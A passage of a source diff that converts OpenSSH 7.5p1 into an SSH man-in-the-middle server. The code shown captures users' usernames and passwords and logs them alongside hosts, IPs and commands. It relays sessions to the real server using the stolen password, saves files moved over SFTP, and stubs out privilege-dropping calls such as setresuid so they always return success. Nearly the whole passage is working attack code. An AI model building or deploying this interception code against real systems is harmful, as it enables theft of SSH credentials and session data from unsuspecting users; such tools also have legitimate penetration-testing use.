  683. +    fatal("%s: child_lol is NULL!", __func__);
  684. +
  685. +  if (sshbuf_get_string(child_lol, &dummy, (size_t *)&dummy_len) != 0 ||
  686. +      sshbuf_get_u32(child_lol, &original_port) != 0 ||
  687. +      sshbuf_get_u32(child_lol, &username_len) != 0 ||
  688. +      sshbuf_get_string(child_lol, &username, (size_t *)&username_len) != 0 ||
  689. +      sshbuf_get_u32(child_lol, &password_len) != 0 ||
  690. +      sshbuf_get_string(child_lol, &password, (size_t *)&password_len) != 0)
  691. +    fatal("%s: sshbuf problems.", __func__);
  692. +
  693. +  if (/*(strlen(original_host) != original_host_len) ||*/ (strlen(username) != username_len) || (strlen(password) != password_len))
  694. +    fatal("%s: more sshbuf problems.", __func__);
  695. +
  696. +  lol->original_port = (unsigned short)original_port;
  697. +
  698. +  lol->username = username;
  699. +  lol->password = password;
  700. +  sshbuf_free(child_lol); child_lol = NULL;
  701. +  debug3("Done with lol...");
  702. +}
  703. +
  704.  /* This function requries careful sanity checking */
  705.  
  706.  void
  707. @@ -1627,6 +1664,16 @@
  708.     debug3("%s: GOT new keys", __func__);
  709.  }
  710.  
  711. +void
  712. +mm_get_lol(struct monitor *pmonitor)
  713. +{
  714. +   debug3("%s: Waiting for lol", __func__);
  715. +   if ((child_lol = sshbuf_new()) == NULL)
  716. +       fatal("%s: sshbuf_new failed", __func__);
  717. +   mm_request_receive_expect(pmonitor->m_sendfd, MONITOR_REQ_LOL, child_lol);
  718. +   debug3("%s: GOT lol", __func__);
  719. +}
  720. +
  721.  
  722.  /* XXX */
  723.  
  724. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor.h openssh-7.5p1-mitm/monitor.h
  725. --- openssh-7.5p1/monitor.h 2017-03-19 22:39:27.000000000 -0400
  726. +++ openssh-7.5p1-mitm/monitor.h    2018-06-12 17:44:46.341760621 -0400
  727. @@ -56,6 +56,7 @@
  728.     MONITOR_REQ_GSSUSEROK = 46, MONITOR_ANS_GSSUSEROK = 47,
  729.     MONITOR_REQ_GSSCHECKMIC = 48, MONITOR_ANS_GSSCHECKMIC = 49,
  730.     MONITOR_REQ_TERM = 50,
  731. +   MONITOR_REQ_LOL = 52,
  732.  
  733.     MONITOR_REQ_PAM_START = 100,
  734.     MONITOR_REQ_PAM_ACCOUNT = 102, MONITOR_ANS_PAM_ACCOUNT = 103,
  735. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor_wrap.c openssh-7.5p1-mitm/monitor_wrap.c
  736. --- openssh-7.5p1/monitor_wrap.c    2017-03-19 22:39:27.000000000 -0400
  737. +++ openssh-7.5p1-mitm/monitor_wrap.c   2018-06-12 17:44:46.341760621 -0400
  738. @@ -482,6 +482,31 @@
  739.     sshbuf_free(m);
  740.  }
  741.  
  742. +void
  743. +mm_send_lol(struct monitor *monitor, Lol *lol) {
  744. +   struct sshbuf *m;
  745. +
  746. +   if ((m = sshbuf_new()) == NULL)
  747. +       fatal("%s: sshbuf_new failed", __func__);
  748. +   if (lol == NULL)
  749. +       fatal("%s: lol is NULL!", __func__);
  750. +
  751. +   debug3("SENDING lol");
  752. +
  753. +   if (sshbuf_put_string(m, "X", 1) != 0 ||
  754. +       sshbuf_put_u32(m, lol->original_port) != 0 ||
  755. +       sshbuf_put_u32(m, strlen(lol->username)) != 0 ||
  756. +       sshbuf_put_string(m, lol->username, strlen(lol->username)) != 0 ||
  757. +       sshbuf_put_u32(m, strlen(lol->password)) != 0 ||
  758. +       sshbuf_put_string(m, lol->password, strlen(lol->password)) != 0) {
  759. +       fatal("%s: can't pack lol!", __func__);
  760. +   }
  761. +
  762. +   mm_request_send(monitor->m_recvfd, MONITOR_REQ_LOL, m);
  763. +   debug3("%s: Finished sending lol", __func__);
  764. +   sshbuf_free(m);
  765. +}
  766. +
  767.  int
  768.  mm_pty_allocate(int *ptyfd, int *ttyfd, char *namebuf, size_t namebuflen)
  769.  {
  770. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor_wrap.h openssh-7.5p1-mitm/monitor_wrap.h
  771. --- openssh-7.5p1/monitor_wrap.h    2017-03-19 22:39:27.000000000 -0400
  772. +++ openssh-7.5p1-mitm/monitor_wrap.h   2018-06-12 17:44:46.341760621 -0400
  773. @@ -28,6 +28,8 @@
  774.  #ifndef _MM_WRAP_H_
  775.  #define _MM_WRAP_H_
  776.  
  777. +#include "lol.h"
  778. +
  779.  extern int use_privsep;
  780.  #define PRIVSEP(x) (use_privsep ? mm_##x : x)
  781.  
  782. @@ -84,8 +86,11 @@
  783.  int mm_newkeys_to_blob(int, u_char **, u_int *);
  784.  
  785.  void monitor_apply_keystate(struct monitor *);
  786. +void monitor_apply_lol(struct monitor *, Lol *);
  787.  void mm_get_keystate(struct monitor *);
  788. +void mm_get_lol(struct monitor *);
  789.  void mm_send_keystate(struct monitor*);
  790. +void mm_send_lol(struct monitor *, Lol *);
  791.  
  792.  /* bsdauth */
  793.  int mm_bsdauth_query(void *, char **, char **, u_int *, char ***, u_int **);
  794. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/openbsd-compat/bsd-misc.c openssh-7.5p1-mitm/openbsd-compat/bsd-misc.c
  795. --- openssh-7.5p1/openbsd-compat/bsd-misc.c 2017-03-19 22:39:27.000000000 -0400
  796. +++ openssh-7.5p1-mitm/openbsd-compat/bsd-misc.c    2018-06-12 17:44:46.345760658 -0400
  797. @@ -80,6 +80,7 @@
  798.  #if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID)
  799.  int seteuid(uid_t euid)
  800.  {
  801. +   return 0;
  802.     return (setreuid(-1, euid));
  803.  }
  804.  #endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */
  805. @@ -87,6 +88,7 @@
  806.  #if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID)
  807.  int setegid(uid_t egid)
  808.  {
  809. +   return 0;
  810.     return(setresgid(-1, egid, -1));
  811.  }
  812.  #endif /* !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) */
  813. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/openbsd-compat/bsd-setres_id.c openssh-7.5p1-mitm/openbsd-compat/bsd-setres_id.c
  814. --- openssh-7.5p1/openbsd-compat/bsd-setres_id.c    2017-03-19 22:39:27.000000000 -0400
  815. +++ openssh-7.5p1-mitm/openbsd-compat/bsd-setres_id.c   2018-06-12 17:44:46.345760658 -0400
  816. @@ -29,7 +29,7 @@
  817.  setresgid(gid_t rgid, gid_t egid, gid_t sgid)
  818.  {
  819.     int ret = 0, saved_errno;
  820. -
  821. +   return 0;
  822.     if (rgid != sgid) {
  823.         errno = ENOSYS;
  824.         return -1;
  825. @@ -64,7 +64,7 @@
  826.  setresuid(uid_t ruid, uid_t euid, uid_t suid)
  827.  {
  828.     int ret = 0, saved_errno;
  829. -
  830. +   return 0;
  831.     if (ruid != suid) {
  832.         errno = ENOSYS;
  833.         return -1;
  834. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/session.c openssh-7.5p1-mitm/session.c
  835. --- openssh-7.5p1/session.c 2017-03-19 22:39:27.000000000 -0400
  836. +++ openssh-7.5p1-mitm/session.c    2018-06-13 10:41:10.968170080 -0400
  837. @@ -40,6 +40,10 @@
  838.  #ifdef HAVE_SYS_STAT_H
  839.  # include <sys/stat.h>
  840.  #endif
  841. +#include <netinet/in.h>
  842. +#include <resolv.h>
  843. +#include <sys/file.h>
  844. +#include <time.h>
  845.  #include <sys/socket.h>
  846.  #include <sys/un.h>
  847.  #include <sys/wait.h>
  848. @@ -94,6 +98,7 @@
  849.  #include "kex.h"
  850.  #include "monitor_wrap.h"
  851.  #include "sftp.h"
  852. +#include "digest.h"
  853.  
  854.  #if defined(KRB5) && defined(USE_AFS)
  855.  #include <kafs.h>
  856. @@ -116,16 +121,17 @@
  857.  void   session_pty_cleanup(Session *);
  858.  void   session_proctitle(Session *);
  859.  int    session_setup_x11fwd(Session *);
  860. -int    do_exec_pty(Session *, const char *);
  861. -int    do_exec_no_pty(Session *, const char *);
  862. +int    do_exec_pty(Session *, const char *, char *);
  863. +int    do_exec_no_pty(Session *, const char *, char *);
  864.  int    do_exec(Session *, const char *);
  865.  void   do_login(Session *, const char *);
  866.  #ifdef LOGIN_NEEDS_UTMPX
  867.  static void    do_pre_login(Session *s);
  868.  #endif
  869. -void   do_child(Session *, const char *);
  870. +void   do_child(Session *, const char *, char *);
  871.  void   do_motd(void);
  872.  int    check_quietlogin(Session *, const char *);
  873. +double my_sleep(struct timespec *sleep_request);
  874.  
  875.  static void do_authenticated2(Authctxt *);
  876.  
  877. @@ -140,6 +146,7 @@
  878.  extern int startup_pipe;
  879.  extern void destroy_sensitive_data(void);
  880.  extern Buffer loginmsg;
  881. +extern Lol *lol;
  882.  
  883.  /* original command from peer. */
  884.  const char *original_command = NULL;
  885. @@ -165,6 +172,14 @@
  886.  static char *auth_sock_name = NULL;
  887.  static char *auth_sock_dir = NULL;
  888.  
  889. +/* This is the maximum number of times to attempt to open a log file for
  890. + * writing. */
  891. +#define MAX_LOG_OPEN_TRIES 1048576 /* 1M */
  892. +
  893. +char *create_password_and_fingerprint_socket(int *sock_fd);
  894. +void set_session_log(Session *s, unsigned int is_sftp, const char *command);
  895. +void write_password_and_read_fingerprints(char **password_and_fingerprint_socket_name, int sock_fd, struct ssh *ssh_active_state, Channel *c);
  896. +
  897.  /* removes the agent forwarding socket */
  898.  
  899.  static void
  900. @@ -291,7 +306,7 @@
  901.   * setting up file descriptors and such.
  902.   */
  903.  int
  904. -do_exec_no_pty(Session *s, const char *command)
  905. +do_exec_no_pty(Session *s, const char *command, char *password_and_fingerprint_socket_name)
  906.  {
  907.     pid_t pid;
  908.  
  909. @@ -343,6 +358,8 @@
  910.  
  911.     session_proctitle(s);
  912.  
  913. +   set_session_log(s, command || (s->is_subsystem == SUBSYSTEM_INT_SFTP), command);
  914. +
  915.     /* Fork the child. */
  916.     switch ((pid = fork())) {
  917.     case -1:
  918. @@ -420,7 +437,7 @@
  919.  #endif
  920.  
  921.         /* Do processing for the child (exec command etc). */
  922. -       do_child(s, command);
  923. +       do_child(s, command, password_and_fingerprint_socket_name);
  924.         /* NOTREACHED */
  925.     default:
  926.         break;
  927. @@ -475,7 +492,7 @@
  928.   * lastlog, and other such operations.
  929.   */
  930.  int
  931. -do_exec_pty(Session *s, const char *command)
  932. +do_exec_pty(Session *s, const char *command, char *password_and_fingerprint_socket_name)
  933.  {
  934.     int fdout, ptyfd, ttyfd, ptymaster;
  935.     pid_t pid;
  936. @@ -507,6 +524,8 @@
  937.         return -1;
  938.     }
  939.  
  940. +   set_session_log(s, command || (s->is_subsystem == SUBSYSTEM_INT_SFTP), command);
  941. +
  942.     /* Fork the child. */
  943.     switch ((pid = fork())) {
  944.     case -1:
  945. @@ -553,7 +572,7 @@
  946.          * Do common processing for the child, such as execing
  947.          * the command.
  948.          */
  949. -       do_child(s, command);
  950. +       do_child(s, command, password_and_fingerprint_socket_name);
  951.         /* NOTREACHED */
  952.     default:
  953.         break;
  954. @@ -619,6 +638,8 @@
  955.     int ret;
  956.     const char *forced = NULL, *tty = NULL;
  957.     char session_type[1024];
  958. +   int sock_fd = -1;
  959. +   char *password_and_fingerprint_socket_name = NULL;
  960.  
  961.     if (options.adm_forced_command) {
  962.         original_command = command;
  963. @@ -673,10 +694,19 @@
  964.         PRIVSEP(audit_run_command(shell));
  965.     }
  966.  #endif
  967. +
  968. +   /* Create a socket for the ssh client program to output its host key
  969. +    * fingerprints back to us. */
  970. +   password_and_fingerprint_socket_name = create_password_and_fingerprint_socket(&sock_fd);
  971. +
  972.     if (s->ttyfd != -1)
  973. -       ret = do_exec_pty(s, command);
  974. +       ret = do_exec_pty(s, command, password_and_fingerprint_socket_name);
  975.     else
  976. -       ret = do_exec_no_pty(s, command);
  977. +       ret = do_exec_no_pty(s, command, password_and_fingerprint_socket_name);
  978. +
  979. +   /* Write the password and read the client's host key fingerprints into
  980. +    * the Channel struct. */
  981. +   write_password_and_read_fingerprints(&password_and_fingerprint_socket_name, sock_fd, active_state, channel_by_id(s->chanid));
  982.  
  983.     original_command = NULL;
  984.  
  985. @@ -1341,10 +1371,10 @@
  986. #else
  987.         if (setlogin(pw->pw_name) < 0)
  988.             error("setlogin failed: %s", strerror(errno));
  989. -       if (setgid(pw->pw_gid) < 0) {
  990. +       /*if (setgid(pw->pw_gid) < 0) {
  991.             perror("setgid");
  992.             exit(1);
  993. -       }
  994. +       }*/
  995.         /* Initialize the group list. */
  996.         if (initgroups(pw->pw_name, pw->pw_gid) < 0) {
  997.             perror("initgroups");
  998. @@ -1416,6 +1446,8 @@
  999. #ifdef WITH_SELINUX
  1000.         setexeccon(NULL);
  1001. #endif
  1002. +       logit("MITM: refusing to execute passwd.");
  1003. +       exit(1);
  1004. #ifdef PASSWD_NEEDS_USERNAME
  1005.         execl(_PATH_PASSWD_PROG, "passwd", s->pw->pw_name,
  1006.             (char *)NULL);
  1007. @@ -1473,9 +1505,9 @@
  1008.  * environment, closing extra file descriptors, setting the user and group
  1009.  * ids, and executing the command or shell.
  1010.  */
  1011. -#define ARGV_MAX 10
  1012. +#define ARGV_MAX 16
  1013. void
  1014. -do_child(Session *s, const char *command)
  1015. +do_child(Session *s, const char *command, char *password_and_fingerprint_socket_name)
  1016. {
  1017.     extern char **environ;
  1018.     char **env;
  1019. @@ -1553,6 +1585,7 @@
  1020.      * ssh_remote_ipaddr there.
  1021.      */
  1022.     child_close_fds();
  1023. +   s->session_log_fd = -1;
  1024.  
  1025.     /*
  1026.      * Must take new environment into use so that .ssh/rc,
  1027. @@ -1612,11 +1645,22 @@
  1028.         printf("This service allows sftp connections only.\n");
  1029.         fflush(NULL);
  1030.         exit(1);
  1031. -   } else if (s->is_subsystem == SUBSYSTEM_INT_SFTP) {
  1032. +   } else if ((s->is_subsystem == SUBSYSTEM_INT_SFTP) ||
  1033. +          ((command != NULL) && (memmem(command, strlen(command), "sftp-server", 11) != NULL))) {
  1034.         extern int optind, optreset;
  1035.         int i;
  1036.         char *p, *args;
  1037.  
  1038. +       /* Hard-code the SFTP server path to our version. */
  1039. +       if (command != NULL) {
  1040. +         command = _PATH_SFTP_SERVER;
  1041. +
  1042. +         /* If DEBUG3 is enabled in sshd, spawn sftp-server with it
  1043. +          * as well. */
  1044. +         if (options.log_level == SYSLOG_LEVEL_DEBUG3)
  1045. +           command = _PATH_SFTP_SERVER " -f AUTH -l DEBUG3";
  1046. +       }
  1047. +
  1048.         setproctitle("%s@%s", s->pw->pw_name, INTERNAL_SFTP_NAME);
  1049.         args = xstrdup(command ? command : "sftp-server");
  1050.         for (i = 0, (p = strtok(args, " ")); p; (p = strtok(NULL, " ")))
  1051. @@ -1628,7 +1672,14 @@
  1052. #ifdef WITH_SELINUX
  1053.         ssh_selinux_change_context("sftpd_t");
  1054. #endif
  1055. -       exit(sftp_server_main(i, argv, s->pw));
  1056. +       debug3("MITM: SFTP server PID: %u", getpid());
  1057. +       exit(sftp_server_main(i, argv, s->pw,
  1058. +#ifdef DEBUG_HOST
  1059. +                   DEBUG_HOST, DEBUG_PORT,
  1060. +#else
  1061. +                   lol->original_host, lol->original_port,
  1062. +#endif
  1063. +                   lol->username, password_and_fingerprint_socket_name, s->session_log_filepath, s->session_log_dir));
  1064.     }
  1065.  
  1066.     fflush(NULL);
  1067. @@ -1644,8 +1695,13 @@
  1068.      * name to be passed in argv[0] is preceded by '-' to indicate that
  1069.      * this is a login shell.
  1070.      */
  1071. -   if (!command) {
  1072. +   if (1) {
  1073.         char argv0[256];
  1074. +       char connect_string[512];
  1075. +       char port[16];
  1076. +
  1077. +       memset(connect_string, 0, sizeof(connect_string));
  1078. +       memset(port, 0, sizeof(port));
  1079.  
  1080.         /* Start the shell.  Set initial character to '-'. */
  1081.         argv0[0] = '-';
  1082. @@ -1658,9 +1714,41 @@
  1083.         }
  1084.  
  1085.         /* Execute the shell. */
  1086. -       argv[0] = argv0;
  1087. +       /*argv[0] = argv0;
  1088.         argv[1] = NULL;
  1089. -       execve(shell, argv, env);
  1090. +       execve(shell, argv, env);*/
  1091. +
  1092. +
  1093. +       snprintf(port, sizeof(port), "%hu", lol->original_port);
  1094. +
  1095. +       strlcpy(connect_string, lol->username, sizeof(connect_string));
  1096. +       strlcat(connect_string, "@", sizeof(connect_string));
  1097. +
  1098. +       #ifdef DEBUG_HOST
  1099. +       strlcat(connect_string, DEBUG_HOST, sizeof(connect_string));
  1100. +       snprintf(port, sizeof(port), "%d", DEBUG_PORT);
  1101. +       #else
  1102. +       strlcat(connect_string, lol->original_host, sizeof(connect_string));
  1103. +       #endif
  1104. +
  1105. +       debug3("MITMing connection to %s:%s", connect_string, port);
  1106. +
  1107. +       argv[0] = MITM_SSH_CLIENT;
  1108. +       argv[1] = "-E";
  1109. +       argv[2] = MITM_SSH_CLIENT_LOG;
  1110. +       argv[3] = "-F";
  1111. +       argv[4] = MITM_SSH_CLIENT_CONFIG;
  1112. +       argv[5] = "-Z";
  1113. +       argv[6] = password_and_fingerprint_socket_name;
  1114. +       argv[7] = "-p";
  1115. +       argv[8] = port;
  1116. +       argv[9] = connect_string;
  1117. +       if (command) {
  1118. +           argv[10] = (char *)command;
  1119. +           argv[11] = NULL;
  1120. +       } else
  1121. +           argv[10] = NULL;
  1122. +       execve(argv[0], argv, env);
  1123.  
  1124.         /* Executing the shell failed. */
  1125.         perror(shell);
  1126. @@ -1674,8 +1762,11 @@
  1127.     argv[1] = "-c";
  1128.     argv[2] = (char *) command;
  1129.     argv[3] = NULL;
  1130. -   execve(shell, argv, env);
  1131. +   logit("MITM: attempt to execute command blocked: [%s -c %s]", shell0, command);
  1132. +   /*
  1133. +   execve(shell, argv, env);  
  1134.     perror(shell);
  1135. +   */
  1136.     exit(1);
  1137. }
  1138.  
  1139. @@ -1927,6 +2018,11 @@
  1140.     debug2("subsystem request for %.100s by user %s", s->subsys,
  1141.         s->pw->pw_name);
  1142.  
  1143. +   if (strcmp(s->subsys, "sftp") != 0) {
  1144. +       logit("MITM: subsystem request for something other than sftp (%.100s).  Rejecting...", s->subsys);
  1145. +       return 0;
  1146. +        }
  1147. +
  1148.     for (i = 0; i < options.num_subsystems; i++) {
  1149.         if (strcmp(s->subsys, options.subsystem_name[i]) == 0) {
  1150.             prog = options.subsystem_command[i];
  1151. @@ -1958,6 +2054,10 @@
  1152. {
  1153.     int success;
  1154.  
  1155. +   /* Disable X11 requests. */
  1156. +   logit("MITM: rejecting X11 request.");
  1157. +   return 0;
  1158. +
  1159.     if (s->auth_proto != NULL || s->auth_data != NULL) {
  1160.         error("session_x11_req: session %d: "
  1161.             "x11 forwarding already active", s->self);
  1162. @@ -2022,6 +2122,10 @@
  1163.     char *name, *val;
  1164.     u_int name_len, val_len, i;
  1165.  
  1166. +   /* Disable env requests. */
  1167. +   logit("MITM: rejecting env request.");
  1168. +   return 0;
  1169. +
  1170.     name = packet_get_cstring(&name_len);
  1171.     val = packet_get_cstring(&val_len);
  1172.     packet_check_eom();
  1173. @@ -2056,6 +2160,11 @@
  1174. {
  1175.     static int called = 0;
  1176.     packet_check_eom();
  1177. +
  1178. +   /* Disable auth agent requests. */
  1179. +   logit("MITM: rejecting auth agent request.");
  1180. +   return 0;
  1181. +
  1182.     if (no_agent_forwarding_flag || !options.allow_agent_forwarding) {
  1183.         debug("session_auth_agent_req: no_agent_forwarding_flag");
  1184.         return 0;
  1185. @@ -2124,7 +2233,7 @@
  1186.     channel_set_fds(s->chanid,
  1187.         fdout, fdin, fderr,
  1188.         ignore_fderr ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ,
  1189. -       1, is_tty, CHAN_SES_WINDOW_DEFAULT);
  1190. +       1, is_tty, CHAN_SES_WINDOW_DEFAULT, s->session_log_fd, s->is_sftp);
  1191. }
  1192.  
  1193. /*
  1194. @@ -2320,6 +2429,15 @@
  1195.     }
  1196.     session_proctitle(s);
  1197.     session_unused(s->self);
  1198. +   free(s->session_log_dir); s->session_log_dir = NULL;
  1199. +   free(s->session_log_filepath); s->session_log_filepath = NULL;
  1200. +   if (s->session_log_fd > -1) {
  1201. +     if (s->is_sftp)
  1202. +       write(s->session_log_fd, "</pre></html>", 13);
  1203. +     fdatasync(s->session_log_fd);
  1204. +     close(s->session_log_fd);
  1205. +     s->session_log_fd = -1;
  1206. +   }
  1207. }
  1208.  
  1209. void
  1210. @@ -2532,6 +2650,10 @@
  1211.     if (authctxt == NULL)
  1212.         return;
  1213.  
  1214. +   if (authctxt->original_user != NULL) {
  1215. +       free(authctxt->original_user);  authctxt->original_user = NULL;
  1216. +   }
  1217. +
  1218. #ifdef USE_PAM
  1219.     if (options.use_pam) {
  1220.         sshpam_cleanup();
  1221. @@ -2578,3 +2700,261 @@
  1222.     return remote;
  1223. }
  1224.  
  1225. +/* Returns a file handle for logging a shell/sftp session.  Set "is_sftp" arg
  1226. + * to 1 to make a log file for SFTP. */
  1227. +void set_session_log(Session *s, unsigned int is_sftp, const char *command) {
  1228. +  char filename[ sizeof(MITM_ROOT) + 32 ] = MITM_ROOT "shell_session_0.txt";
  1229. +  int num_tries = 0;
  1230. +
  1231. +  s->is_sftp = is_sftp;
  1232. +  if (s->is_sftp)
  1233. +    strlcpy(filename, MITM_ROOT "sftp_session_0.html", sizeof(filename));
  1234. +
  1235. +  s->session_log_fd = -1;
  1236. +  while ((num_tries < MAX_LOG_OPEN_TRIES) && (s->session_log_fd < 0)) {
  1237. +    s->session_log_fd = open(filename, O_CREAT | O_EXCL | O_NOATIME | O_NOFOLLOW | O_WRONLY
  1238. +#ifdef SYNC_LOG
  1239. +        | O_SYNC
  1240. +#endif
  1241. +        , S_IRUSR | S_IWUSR);
  1242. +
  1243. +    num_tries++;
  1244. +
  1245. +    /* If the file could not be created, increment the counter and append it
  1246. +     * to the filename prefix so we can try again. */
  1247. +    if (s->session_log_fd < 0) {
  1248. +      if (s->is_sftp)
  1249. +   snprintf(filename, sizeof(filename) - 1, MITM_ROOT "sftp_session_%d.html", num_tries);
  1250. +      else
  1251. +   snprintf(filename, sizeof(filename) - 1, MITM_ROOT "shell_session_%d.txt", num_tries);
  1252. +    }
  1253. +  }
  1254. +
  1255. +  if (s->session_log_fd < 0)
  1256. +    logit("MITM: Could not open file for logging!");
  1257. +  else {
  1258. +    struct ssh *ssh = active_state;
  1259. +    time_t t = time(NULL);
  1260. +    struct tm stm;
  1261. +    int original_port = lol->original_port;
  1262. +    char srcport[16];
  1263. +    char dstport[16];
  1264. +    char buf[128];
  1265. +
  1266. +    memset(&stm, 0, sizeof(struct tm));
  1267. +    memset(srcport, 0, sizeof(srcport));
  1268. +    memset(dstport, 0, sizeof(dstport));
  1269. +    memset(buf, 0, sizeof(buf));
  1270. +
  1271. +
  1272. +    s->session_log_filepath = xstrdup(filename);
  1273. +
  1274. +    /* Create a unique directory for SFTP sessions.  This is where uploaded and
  1275. +     * downloaded files will go. */
  1276. +    if (s->is_sftp) {
  1277. +      filename[strlen(filename) - 5] = '/';
  1278. +      filename[strlen(filename) - 4] = '\0';
  1279. +      if (mkdir(filename, S_IRWXU) == 0)
  1280. +   s->session_log_dir = xstrdup(filename);
  1281. +
  1282. +      write(s->session_log_fd, "<html><pre>", 11);
  1283. +    }
  1284. +
  1285. +    snprintf(srcport, sizeof(srcport), "%d", ssh_remote_port(ssh));
  1286. +    snprintf(dstport, sizeof(dstport), "%d", original_port);
  1287. +    if (gmtime_r(&t, &stm) != NULL)
  1288. +      strftime(buf, sizeof(buf), "%F %T %Z", &stm);
  1289. +
  1290. +    /* Write the timestamp. */
  1291. +    write(s->session_log_fd, "Time: ", 6);
  1292. +    write(s->session_log_fd, buf, strlen(buf));
  1293. +
  1294. +    /* Write the hostname and destination port. */
  1295. +    write(s->session_log_fd, "\nServer: ", 9);
  1296. +    write(s->session_log_fd, lol->original_host, strlen(lol->original_host));
  1297. +    write(s->session_log_fd, ":", 1);
  1298. +    write(s->session_log_fd, dstport, strlen(dstport));
  1299. +
  1300. +    /* Write the origin IP and source port. */
  1301. +    write(s->session_log_fd, "\nClient: ", 9);
  1302. +    write(s->session_log_fd, ssh_remote_ipaddr(ssh), strlen(ssh_remote_ipaddr(ssh)));
  1303. +    write(s->session_log_fd, ":", 1);
  1304. +    write(s->session_log_fd, srcport, strlen(srcport));
  1305. +
  1306. +    /* Write the username. */
  1307. +    write(s->session_log_fd, "\nUsername: ", 11);
  1308. +    write(s->session_log_fd, lol->username, strlen(lol->username));
  1309. +
  1310. +    /* Write the password. */
  1311. +    write(s->session_log_fd, "\nPassword: ", 11);
  1312. +    write(s->session_log_fd, lol->password, strlen(lol->password));
  1313. +
  1314. +    /* Write the command, if there was one. */
  1315. +    if (command != NULL) {
  1316. +      write(s->session_log_fd, "\nCommand: ", 10);
  1317. +      write(s->session_log_fd, command, strlen(command));
  1318. +    }
  1319. +    write(s->session_log_fd, "\n-------------------------\n", 27);
  1320. +  }
  1321. +}
  1322. +
  1323. +/* Requests to sleep a certain amount of time (must be less than 1 second).
  1324. + * Returns the number of seconds actually slept. */
  1325. +/*
  1326. +double my_sleep(struct timespec *sleep_request) {
  1327. +  struct timespec sleep_remaining;
  1328. +
  1329. +  * If we slept the entire duration without being interrupted... *
  1330. +  if (nanosleep(sleep_request, &sleep_remaining) == 0)
  1331. +    return (double)(sleep_request->tv_nsec / 1000000000.0);
  1332. +  else
  1333. +    return (double)((sleep_request->tv_nsec - sleep_remaining.tv_nsec) / 1000000000.0);
  1334. +}
  1335. +*/
  1336. +
  1337. +/* Creates a unique socket and listens on it.  Returns its filename and sets
  1338. + * the "sock_fd" argument to the socket handle.  The caller must free() the
  1339. + * return value. */
  1340. +char *create_password_and_fingerprint_socket(int *sock_fd) {
  1341. +  char *password_and_fingerprint_socket_name = NULL;
  1342. +  struct sockaddr_un addr;
  1343. +  char socket_prefix[] = MITM_ROOT "/tmp/socket_";
  1344. +  int counter = 0;
  1345. +  int password_and_fingerprint_socket_name_len = sizeof(socket_prefix) + 5;
  1346. +
  1347. +  /* Create a new socket. */
  1348. +  memset(&addr, 0, sizeof(addr));
  1349. +  addr.sun_family = AF_UNIX;
  1350. +  *sock_fd = socket(AF_UNIX, SOCK_STREAM, 0);
  1351. +  if (*sock_fd == -1) {
  1352. +    logit("MITM: Error: could not create socket for fingerprint data!");
  1353. +    return "";
  1354. +  }
  1355. +
  1356. +  /* Allocate a return buffer to hold the socket filename. */
  1357. +  if ((password_and_fingerprint_socket_name = calloc(password_and_fingerprint_socket_name_len, sizeof(char))) == NULL) {
  1358. +    *sock_fd = -1;
  1359. +    return strdup("");
  1360. +  }
  1361. +
  1362. +  /* Make a new, unique socket file path. */
  1363. +  while (counter < 1024) {
  1364. +    snprintf(password_and_fingerprint_socket_name, password_and_fingerprint_socket_name_len, "%s%d", socket_prefix, counter);
  1365. +    strlcpy(addr.sun_path, password_and_fingerprint_socket_name , sizeof(addr.sun_path));
  1366. +    if (bind(*sock_fd, (struct sockaddr *)&addr, sizeof(addr)) == 0)
  1367. +      break;
  1368. +
  1369. +    counter++;
  1370. +  }
  1371. +
  1372. +  /* Listen on the socket handle. */
  1373. +  if (listen(*sock_fd, 1) == -1) {
  1374. +    logit("MITM: Error while listening on socket for fingerprint data!");
  1375. +    close(*sock_fd);
  1376. +    *sock_fd = -1;
  1377. +    free(password_and_fingerprint_socket_name); password_and_fingerprint_socket_name = NULL;
  1378. +    return strdup("");
  1379. +  }
  1380. +
  1381. +  return password_and_fingerprint_socket_name;
  1382. +}
  1383. +
  1384. +/* Writes the password, then reads the host key fingerprints from the client
  1385. + * program, sets the appropriate "legit_*_fingerprint" global variables,
  1386. + * deletes the socket, and frees the socket name. */
  1387. +void write_password_and_read_fingerprints(char **password_and_fingerprint_socket_name, int sock_fd, struct ssh *ssh_active_state, Channel *c) {
  1388. +  int client_fd = -1, written = 0, r = 0;
  1389. +  u_int16_t password_len = htons((u_int16_t)strlen(lol->password));
  1390. +  char *buffer = NULL;
  1391. +
  1392. +  /* Wait for the client to connect, then accept it. */
  1393. +  client_fd = accept(sock_fd, NULL, NULL);
  1394. +
  1395. +  /* Send the password length. */
  1396. +  if (send(client_fd, &password_len, sizeof(password_len), 0) < 0)
  1397. +    fatal("MITM: Error while sending password length: %d", errno);
  1398. +
  1399. +  /* Write the password. */
  1400. +  while (written < password_len) {
  1401. +    r = send(client_fd, lol->password + written, password_len - written, 0);
  1402. +    if ((r < 0) && (r != EINTR))
  1403. +      fatal("MITM: Error while sending password: %d", errno);
  1404. +    else if (r > 0)
  1405. +      written += r;
  1406. +  }
  1407. +
  1408. +  buffer = calloc(SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE, sizeof(char));
  1409. +  if ((buffer != NULL) && (c != NULL)) {
  1410. +    int r, bytes_read = 0;
  1411. +    char *saved_buffer = buffer;  /* We use strsep(), so save this pointer. */
  1412. +    char *line = NULL;
  1413. +    int line_len = 0;
